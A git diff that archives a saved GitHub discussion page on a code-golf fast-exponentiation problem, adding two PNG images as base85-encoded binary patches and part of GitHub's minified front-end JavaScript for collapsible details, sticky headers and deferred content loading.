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 literal 0 HcmV?d00001 diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/50341827_002.png b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/50341827_002.png new file mode 100644 index 0000000000000000000000000000000000000000..8ef64b2c24c3cbe04945ff1d3784fa7eeb967e6c GIT binary patch literal 3124 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 x=Object.defineProperty;var t=(R,L)=>x(R,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],{47930:(R,L,r)=>{r.d(L,{S:()=>y});function d(p){const o=document.querySelectorAll(p);if(o.length>0)return o[o.length-1]}t(d,"queryLast");function A(){const p=d("meta[name=analytics-location]");return p?p.content:window.location.pathname}t(A,"pagePathname");function _(){const p=d("meta[name=analytics-location-query-strip]");let o="";p||(o=window.location.search);const a=d("meta[name=analytics-location-params]");a&&(o+=(o?"&":"?")+a.content);for(const i of document.querySelectorAll("meta[name=analytics-param-rename]")){const m=i.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${m[0]}($|=)`,"g"),`$1${m[1]}$2`)}return o}t(_,"pageQuery");function y(){return`${window.location.protocol}//${window.location.host}${A()+_()}`}t(y,"requestUri")},10178:(R,L,r)=>{r.d(L,{O4:()=>C,jo:()=>T,Qp:()=>S});var d=r(33948),A=r(59753);const _="ontransitionend"in window;function y(n,l){if(!_){l();return}const g=Array.from(n.querySelectorAll(".js-transitionable"));n.classList.contains("js-transitionable")&&g.push(n);for(const f of g){const w=p(f);f instanceof HTMLElement&&(f.addEventListener("transitionend",()=>{f.style.display="",f.style.visibility="",w&&o(f,function(){f.style.height=""})},{once:!0}),f.style.boxSizing="content-box",f.style.display="block",f.style.visibility="visible",w&&o(f,function(){f.style.height=getComputedStyle(f).height}),f.offsetHeight)}l();for(const f of g)if(f instanceof HTMLElement&&p(f)){const w=getComputedStyle(f).height;f.style.boxSizing="",w==="0px"?f.style.height=`${f.scrollHeight}px`:f.style.height="0px"}}t(y,"performTransition");function p(n){return getComputedStyle(n).transitionProperty==="height"}t(p,"isTransitioningHeight");function o(n,l){n.style.transition="none",l(),n.offsetHeight,n.style.transition=""}t(o,"withoutTransition");var a=r(96776);function i(n,l){l.find(g=>{const f=n.querySelectorAll(g),w=f[f.length-1];if(w&&document.activeElement!==w)return w.focus(),!0})}t(i,"findAndFocusByQuerySelector");function m(n){i(n,[".js-focus-on-dismiss","input[autofocus], textarea[autofocus]"])}t(m,"restoreAutofocus");function c(n){!n.classList.contains("tooltipped")||(n.classList.remove("tooltipped"),n.addEventListener("mouseleave",()=>{n.classList.add("tooltipped"),n.blur()},{once:!0}))}t(c,"hideTooltip");function E(n){return[...document.querySelectorAll(".js-details-container")].filter(l=>l.getAttribute("data-details-container-group")===n)}t(E,"groupMembers");function h(n){return[...n.querySelectorAll(".js-details-target")].filter(l=>l.closest(".js-details-container")===n)}t(h,"containerTargets");function v(n,l){const g=n.getAttribute("data-details-container-group");return g?((0,a.uQ)(n,()=>{for(const f of E(g))f!==n&&s(f,l)}),g):null}t(v,"toggleGroup");function s(n,l){n.classList.toggle("open",l),n.classList.toggle("Details--on",l);for(const g of h(n))g.setAttribute("aria-expanded",l.toString())}t(s,"updateOpenState");function S(n,l){var g,f;const w=n.getAttribute("data-details-container")||".js-details-container",M=n.closest(w),D=(g=l==null?void 0:l.force)!=null?g:!M.classList.contains("open"),I=(f=l==null?void 0:l.withGroup)!=null?f:!1;y(M,()=>{s(M,D);const e=I?v(M,D):null;Promise.resolve().then(()=>{m(M),c(n),M.dispatchEvent(new CustomEvent("details:toggled",{bubbles:!0,cancelable:!1,detail:{open:D}})),e&&M.dispatchEvent(new CustomEvent("details:toggled-group",{bubbles:!0,cancelable:!1,detail:{open:D,group:e}}))})})}t(S,"toggleDetailsTarget");function T(n){const l=n.getAttribute("data-details-container")||".js-details-container",f=n.closest(l).classList;return f.contains("Details--on")||f.contains("open")}t(T,"isDetailsTargetExpanded");function O(n){const l=n.altKey,g=n.currentTarget;S(g,{withGroup:l}),n.preventDefault()}t(O,"handleDetailsTargetClick"),(0,A.on)("click",".js-details-target",O),(0,d.Z)(function({target:n}){n&&C(n)});function C(n){let l=!1,g=n.parentElement;for(;g;)g.classList.contains("Details-content--shown")&&(l=!0),g.classList.contains("js-details-container")&&(g.classList.toggle("open",!l),g.classList.toggle("Details--on",!l),l=!1),g=g.parentElement}t(C,"ensureExpanded")},30479:(R,L,r)=>{r.d(L,{h:()=>A});var d=r(59753);(0,d.on)("click",".js-skip-to-content",function(i){const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;c instanceof HTMLElement&&(c.setAttribute("tabindex","-1"),c.setAttribute("data-skipped-to-content","1"),c.focus())}i.preventDefault()});function A(){let i=!1;const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;if(c instanceof HTMLElement)return i=c.getAttribute("data-skipped-to-content")==="1",i&&c.removeAttribute("data-skipped-to-content"),i}}t(A,"hasSkippedToContent");const _="ontouchstart"in document;function y(){return window.innerWidth>1012}t(y,"compatibleDesktop");for(const i of document.querySelectorAll(".HeaderMenu-details"))i.addEventListener("toggle",o),_||(i.addEventListener("mouseover",a),i.addEventListener("mouseleave",a));let p=!1;function o(i){if(!p){p=!0;for(const m of document.querySelectorAll(".HeaderMenu-details"))m!==i.currentTarget&&m.removeAttribute("open");setTimeout(()=>p=!1)}}t(o,"onMenuToggle");function a(i){const{currentTarget:m}=i;!(m instanceof HTMLElement)||!y()||(i.type==="mouseover"&&i instanceof MouseEvent?i.target instanceof Node&&i.relatedTarget instanceof Node&&m.contains(i.target)&&!m.contains(i.relatedTarget)&&m.setAttribute("open",""):m.removeAttribute("open"))}t(a,"onMenuHover")},55444:(R,L,r)=>{r.d(L,{$:()=>i,G:()=>a});var d=r(6741),A=r(64463),_=r(59753);(0,A.N7)("include-fragment, poll-include-fragment",{subscribe:c=>(0,d.qC)((0,d.RB)(c,"error",o),(0,d.RB)(c,"loadstart",p))}),(0,_.on)("click","include-fragment button[data-retry-button]",({currentTarget:c})=>{const E=c.closest("include-fragment"),h=E.src;E.src="",E.src=h});function y(c,E){const h=c.currentTarget;if(h instanceof Element){for(const v of h.querySelectorAll("[data-show-on-error]"))v instanceof HTMLElement&&(v.hidden=!E);for(const v of h.querySelectorAll("[data-hide-on-error]"))v instanceof HTMLElement&&(v.hidden=E)}}t(y,"toggleElements");function p(c){y(c,!1)}t(p,"onLoad");function o(c){y(c,!0)}t(o,"onError");function a({currentTarget:c}){c instanceof Element&&i(c)}t(a,"loadDeferredContentByEvent");function i(c){const E=c.closest("details");E&&m(E)}t(i,"loadDeferredContent");function m(c){const E=c.getAttribute("data-deferred-details-content-url");if(E){c.removeAttribute("data-deferred-details-content-url");const h=c.querySelector("include-fragment, poll-include-fragment");h&&(h.src=E)}}t(m,"setIncludeFragmentSrc")},79775:(R,L,r)=>{r.d(L,{O3:()=>a,SX:()=>y,_g:()=>p,a8:()=>_,lB:()=>o});let d=0;const A=new Set;function _(i){A.add(i)}t(_,"observeStickyHeaderHeight");function y(i){A.delete(i)}t(y,"unobserveStickyHeaderHeight");function p(){return d}t(p,"getBaseStickyHeaderHeight");function o(i){d=i,i?document.body.style.setProperty("--base-sticky-header-height",`${i}px`):document.body.style.removeProperty("--base-sticky-header-height");for(const m of A)m(i)}t(o,"setBaseStickyHeaderHeight");const a="var(--base-sticky-header-height, 0px)"},55898:(R,L,r)=>{r.d(L,{H:()=>c});var d=r(30479),A=r(7739),_=r(64463),y=r(79775);let p=!1;const o=[];function a(){o.length?i():m()}t(a,"manageObservers");function i(){p||(window.addEventListener("resize",E),document.addEventListener("scroll",E),p=!0)}t(i,"addObservers");function m(){window.removeEventListener("resize",E),document.removeEventListener("scroll",E),p=!1}t(m,"removeObservers");function c(){h(!0)}t(c,"forceStickyRelayout");function E(){h()}t(E,"checkElementsForStickingHandler");function h(e=!1){for(const u of o)if(u.element.offsetHeight>0){const{element:b,placeholder:P,top:k}=u,B=b.getBoundingClientRect();if(P){const H=P.getBoundingClientRect();b.classList.contains("is-stuck")?H.top>D(b,k)?S(u):T(u):B.top<=D(b,k)?s(u):e&&T(u)}else B.top-D(b,k)<.1?s(u):S(u)}}t(h,"checkElementsForSticking");function v(e){const{position:u}=window.getComputedStyle(e);return/sticky/.test(u)}t(v,"browserHasSticky");function s({element:e,placeholder:u,top:b}){if(u){const P=e.getBoundingClientRect();I(e,D(e,b)),e.style.left=`${P.left}px`,e.style.width=`${P.width}px`,e.style.marginTop="0",e.style.position="fixed",u.style.display="block"}e.classList.add("is-stuck")}t(s,"pinSet");function S({element:e,placeholder:u}){u&&(e.style.position="static",e.style.marginTop=u.style.marginTop,u.style.display="none"),e.classList.remove("is-stuck")}t(S,"unpinSet");function T({element:e,placeholder:u,offsetParent:b,top:P}){if(u&&!(0,d.h)()){const k=e.getBoundingClientRect(),B=u.getBoundingClientRect();if(I(e,D(e,P)),e.style.left=`${B.left}px`,e.style.width=`${B.width}px`,b){const H=b.getBoundingClientRect();H.bottomb.element).indexOf(e);o.splice(u,1)}t(n,"removeSet");async function l(e){await 